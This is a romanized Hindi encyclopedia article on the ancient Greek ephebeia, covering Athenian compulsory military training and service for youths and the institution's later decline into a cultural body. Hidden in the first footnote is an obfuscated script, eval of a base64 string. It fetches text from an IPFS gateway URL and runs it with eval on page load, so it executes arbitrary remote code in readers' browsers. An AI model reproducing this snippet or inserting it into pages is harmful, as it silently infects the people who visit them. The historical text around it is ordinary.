एफ़ेबी
efebi ka samany ashay tarunasamooh hai, par yoonan mean isaka kanooni arth yuvakoan ka sainy sangathan hota tha. etheans mean sanbhavataya (khaironiya ki parajay ke pashchath) ee.poo. 338 ke asapas yah niyam bana diya gaya tha ki pratyek navayuvak (efebas) ko 18 varsh ki avastha ho jane par nagararashtr ke sainy sangathan mean bharti hona p dega. ek varsh tak in logoan ko sainik prashikshan diya jata tha aur in dinoan unako atyant kathor anushasan mean rahana p data tha. ek kabile ke navayuvak ek sath hi rahate aur bhojan karate the. prashikshan ki samapti ke pashchath inako ek varsh tak durgarakshan aur rakshicharya ka kary karana p data tha. inake sharirik, sainik aur navik (arthath nausainik) vyayam ki shiksha ke lie chhah shikshak niyukt kie jate the tatha dhal pradan ki jati thi aur vah shapath leta tha ki vah apane ayudhoan ko lajaega nahian. usaka kartavy tha sarvajanik karyo tatha janasanmilani mean upasthit hona, yatraoan mean bhag lena aur adhyayan karana. prashikshan kal mean usako chhote kesh dharan karane p date the aur ek vishesh prakar ki topi aur chhota aangarakha pahanana p data tha tatha is samay vah karoan se mukt rahata tha.[1]
etheans mean ee.poo. tisari sadi mean yuvakoan ki sankhya mean hhras hone ke karan sainik shikshan aur seva ka kal ghatakar adha, arthath ek varsh kar diya gaya. etheans ka anukaran kar any nagararashtroan ne bhi is paddhati ko apanaya. roman samrajy kal mean yah sanstha saanskritik sanstha bhar rah gee thi aur isapar sarakari niyantran nahian raha.[2].
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 242 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran–aristoo ki rajaniti aur etheans ka sanvidhan bholanath sharma dvara hiandi anuvad, 1956 ee.
sanbandhit lekh
varnamala kramanusar lekh khoj
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